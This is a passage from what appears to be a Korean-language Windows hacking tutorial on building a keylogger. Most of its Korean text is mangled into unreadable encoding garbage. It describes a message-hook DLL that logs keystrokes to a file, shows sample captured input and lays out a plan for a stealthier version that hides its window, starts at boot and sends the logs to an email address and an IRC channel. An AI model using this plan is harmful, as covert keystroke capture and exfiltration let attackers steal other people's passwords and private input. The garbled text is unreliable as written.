7. GetMsgProc ÇÔ¼ö´Â ±× ¹ß»ýÇÑ ¸Þ½ÃÁö°¡ WM_CHARÀÎÀÚ¸¦ °Ë»çÇÏ¿©, ¸¸¾à ¸Â´Ù¸é
   ±× ¹®ÀÚ¸¦ ÆÄÀÏ¿¡ ÀúÀåÇÑ´Ù.
8. keylogger.exe°¡ Á¾·áµÉ ¶§±îÁö À§ ³»¿ëÀÌ ¹Ýº¹µÈ´Ù.

ÀÌÁ¦ ¹æ±Ý ¸¸µç ÇÁ·Î±×·¥À» ÄÄÆÄÀÏÇÑ ÈÄ, ½ÇÇàÇսôÙ. ¹°·Ð ½ÇÇàÇϱâ Àü¿¡´Â
hooker.dllÀ» ¸ÕÀú debug Æú´õ·Î º¹»çÇØ ³õ¾Æ¾ß°ÚÁö¿ä?

[DLL ´Ù¿î·Îµå]
[¼Ò½ºÄÚµå]

[WG Keylogger]
[¼Ò½ºÄÚµå]

½ÇÇàÀ» ÇÏ¿´´Ù¸é, ÀÌÁ¦ ¾Æ¹« ¹®ÀÚµéÀ̳ª ¸¶±¸ ÀÔ·ÂÇØ º¾½Ã´Ù. ¿ì¸®°¡ ¾î¶² ¹®ÀÚ¸¦
ÀÔ·ÂÇϸé, WM_CHAR ¸Þ½ÃÁö°¡ ¹ßÇàÇϰí, GetMsgProc ÇÔ¼ö´Â WM_CHAR ¸Þ½ÃÁö¸¦ ¹ß»ý
½ÃŲ ¹®ÀÚ¸¦ °¡Á®¿Í c:\test.txt ÆÄÀÏ¿¡ ÀúÀåÇÒ °ÍÀÔ´Ï´Ù. Å×½ºÆ®¸¦ ¿Ï·áÇÏ¿´´Ù¸é,
keylogger.exe ÇÁ·Î±×·¥À» Á¾·áÇϰí, c:\test.txt ÆÄÀÏÀ» ¿­¾îº¾½Ã´Ù. ´ÙÀ½Àº Á¦°¡
Å×½ºÆ®ÇÑ test.txt ÆÄÀÏÀÇ ³»¿ëÀÔ´Ï´Ù.

================================
test hi hello
mirable
hello
nnoowwnnuurrii..nneett
================================

¿À¿¹~ µåµð¾î ¿ì¸®°¡ ¸¸µç Ű·Î°Å°¡ ÀÛµ¿Çß½À´Ï´Ù.~ ±×·±µ¥ Á¶±Ý ÀÌ»óÇÑ Á¡ÀÌ
ÀÖ½À´Ï´Ù. °¡Àå ¾Æ·§ ÁÙÀÎ nownuri.netÀº Á¦°¡ »õ·Ò µ¥ÀÌÅ͸ÇÀ» ½ÇÇàÇÑ ÈÄ, Á¢¼Ó
È£½ºÆ® ÀÔ·Â Æû¿¡ ÀÔ·ÂÇÑ ¹®ÀÚµéÀÔ´Ï´Ù. ±×¸®°í ±× À§ÀÇ 3ÁÙÀº ±×³É ¹ÙÅÁÈ­¸é¿¡¼­
Űº¸µå¸¦ ´­·¶´ø °ÍÀÇ ÀúÀå °á°úÀÔ´Ï´Ù. Â÷À̰¡ ¹«¾ùÀϱî¿ä? ¿Ö »õ·Ò¿¡¼­ ¹®ÀÚ¸¦
ÀÔ·ÂÇßÀ» ¶©, nnoowwuurrii¿Í °°ÀÌ 2¹ø¾¿ ¹Ýº¹µÈ °ÍÀϱî¿ä? ÀÌÀ¯´Â ´ÙÀ½°ú °°½À
´Ï´Ù. ¿ì¸®°¡ ±×³É È­¸é¿¡ abc¶ó°í ÀÔ·ÂÇϸé, WM_CHAR ¸Þ½ÃÁö´Â ÃÑ 3¹ø ¹ß»ý
ÇÕ´Ï´Ù. ÇÏÁö¸¸, ¿¡µðÅͳª, ÀÔ·Â Æû°ú °°Àº °÷¿¡ abc¶ó°í ÀÔ·ÂÇϸé, ¿ì¸®°¡
ÀÔ·ÂÇßÀ» ¶§ ÇÑ ¹ø ¹ß»ýÇϰí, ¶Ç ±× ¹®ÀÚ°¡ ½ÇÁ¦ ¸ð´ÏÅÍ¿¡ Ãâ·ÂµÉ ¶§ ¶Ç Çѹø
WM_CHAR ¹®ÀÚ°¡ ¹ß»ýÇÕ´Ï´Ù. ±×·¡¼­ »õ·ÒÀÇ ÀÔ·ÂÆû¿¡ nownuri.netÀ̶ó°í ÀÔ·ÂÇÑ
°ÍÀº ¿ì¸®°¡ ÀÔ·ÂÇÒ ¶§ÀÇ n, ±×¸®°í È­¸é¿¡ Ãâ·ÂµÉ ¶§ÀÇ n, ³ª¸ÓÁöµµ ¸¶Âù°¡Áö·Î
oowwnnuurrii ÀÌ·¸°Ô µÎ ¹ø¾¿ ÀúÀåµÈ °ÍÀÔ´Ï´Ù. À̰ÍÀ» ÇØ°áÇÏ·Á¸é ¾î¶»°Ô ÇØ¾ß
ÇÒ±î¿ä? ´ÜÁö ÀÌ ¹®Á¦ »Ó¸¸ ¾Æ´Ï¶ó Áö±Ý±îÁö °£´ÜÇÏ°Ô ¸¸µç Ű·Î°Å¿¡´Â ¾ÆÁÖ
¸¹Àº °³¼±ÀÌ ÇÊ¿äÇÕ´Ï´Ù. ÀÌÁ¦ ۷ΰÅÀÇ »À´ë´Â ¸ðµÎ ¿Ï¼ºÇÏ¿´À¸´Ï, ¾ÕÀ¸·Î´Â
ÀÌ ±âº»ÀûÀΠŰ·Î°Å¸¦ ¹ßÀü½ÃŰ´Â °úÁ¤À» ¼³¸íÇØ µå¸®µµ·Ï ÇϰڽÀ´Ï´Ù. ¾Æ¸¶µµ
¿Ï¼ºµÈ Ű·Î°Å´Â Áö±Ý±îÁö °ø°³µÈ ¸ðµç Ű·Î°Åµé Áß¿¡ ÃÖ°­À̵ÇÁö ¾ÊÀ»±î ±â´ëÇØ
º¾´Ï´Ù. ¿Ö³ÄÇϸé, ±âÁ¸ÀÇ Å°·Î°Åµé¿¡´Â ¾ø¾ú´ø ´Ù¾çÇÑ ±â´ÉµéÀ» Ãß°¡ÇÒ °èȹÀ̱â
¶§¹®ÀÔ´Ï´Ù. ƯÈ÷, ±âÁ¸ÀÇ ¿Ü±¹¿¡¼­ °³¹ßµÈ Ű·Î°ÅµéÀº ÇѱÛÀ» ÀúÀåÇÏÁö ¸øÇÕ´Ï´Ù.
¿ì¸®°¡ "¸Û¸Û"À̶ó°í Çѱ۷ΠÀÔ·ÂÇϸé, ±× °á°ú´Â "ajdajd"°ú °°ÀÌ ¿µ¹® ŸÀÚ·Î
ÀúÀåµÈ´Ù´Â ¸»ÀÔ´Ï´Ù. ¿ì¸®´Â ÀÌ Á¡À» ÃÖ¿ì¼±À¸·ÎµÎ¾î °³¼±ÇÒ °ÍÀÔ´Ï´Ù. ±×·³
¾ÕÀ¸·Î °³¼±ÇÒ Á¡µé¿¡ ´ëÇØ¼­ ³ª¿­ÇØ º¼±î¿ä?

¡Ý WiseGuys KeyloggerÀÇ ¹ßÀü °èȹ
1. keylogger ½ÇÇà âÀ» ¼û±ä´Ù.
2. WM_CHAR Áߺ¹ ¹®Á¦¸¦ ÇØ°áÇÑ´Ù.
3. ¿£ÅÍ, ¹é½ºÆäÀ̽º, PAGE UP, DOWN, F1~10 µîÀÇ Æ¯¼ö ¹®ÀÚ¸¦ ±â·ÏÇÑ´Ù.
4. ÇØ´ç ¹®ÀÚ°¡ ¸î½Ã¿¡ ÀÔ·ÂµÈ °ÍÀÎÁö¸¦ ±â·ÏÇÑ´Ù.
5. ÇØ´ç ¹®ÀÚµéÀÌ ¾î¶² ÇÁ·Î±×·¥ ³»¿¡¼­ ÀÔ·ÂµÈ °ÍÀÎÁö¸¦ ±â·ÏÇÑ´Ù.
6. ÇÑ±Û ÀÔ·ÂÀÇ ÀúÀåÀÌ °¡´ÉÇϵµ·Ï ÇÑ´Ù.
7. ºÎÆÃ ½Ã ÀÚµ¿À¸·Î ½ÇÇàµÇµµ·Ï ÇÑ´Ù.
8. ÀúÀåµÈ ³»¿ëÀ» ƯÁ¤ E-MAIL·Î ¹ß¼ÛÇϵµ·Ï ÇÑ´Ù.
9. ÀúÀåµÈ ³»¿ëÀ» ƯÁ¤ IRC ä³Î·Î Ãâ·ÂÇϵµ·Ï ÇÑ´Ù.
10. keylogger.exe ÆÄÀÏ ³»ÀÇ ¼³Á¤À» ¼öÁ¤ÇÒ ¼ö ÀÖµµ·Ï ÇÑ´Ù.
11. ¼³Á¤ ³»¿ëÀ» ·¹Áö½ºÆ®¸®¿¡ ÀúÀåÇϵµ·Ï ÇÑ´Ù.

ÀÌ 1¹øºÎÅÍ 11¹ø±îÁöÀÇ ±¸Çö ÀýÂ÷´Â Á¦ 2Â÷ WG Documents¿¡¼­ ¼³¸íÇÕ´Ï´Ù.
Áö±Ý±îÁö °¡Àå ±âº»ÀûÀΠŰ·Î°Å ±¸Çö ¹æ¹ý¿¡ ´ëÇØ ¾Ë¾Æº¸¾Ò´Âµ¥¿ä. ¾Æ¹«·¡µµ
¸î ½Ã°£À» ºÙµé°í Á÷Á¢ ½Ç½ÀÇØº¸Áö ¾ÊÀº ÀÌ»ó ¹Ý Á¤µµµµ ÀÌÇØÇϱâ Èûµå¼ÌÀ»
°Ì´Ï´Ù. À©µµ¿ì ÇØÅ·ÂÊ¿¡ °ü½ÉÀÌ ÀÖÀ¸½Ã´Ù¸é ²À ±¸Çö ½Ç½ÀÀ» Á÷Á¢ ÇØº¸½Ã±¸¿ä.
Àúµµ ½Ã°£ÀÌ µÈ´Ù¸é ³Ý¹ÌÆÃÀ» ÀÌ¿ëÇÏ¿© ÀÌ ÁÖÁ¦¿¡ ´ëÇÑ ½Ç½Ã°£ °­ÀǸ¦ ÁøÇàÇØ
µå¸®µµ·Ï ÇϰڽÀ´Ï´Ù. ¾ÕÀ¸·Î ÀÛ¼ºµÇ´Â WG Documentsµé Áß ±¦ÂúÀº °ÍÀ» 3°³ Á¤µµ
¼±º°ÇÏ¿© ½Ç½ÀÀ» °âºñÇÑ ¿Â¶óÀÎ °­Á¸¦ ÁøÇàÇÒ °èȹÀÌ Àְŵç¿ä.
±×·³ ´ÙÀ½ °­Á¿¡¼­ ºËµµ·Ï ÇսôÙ.^^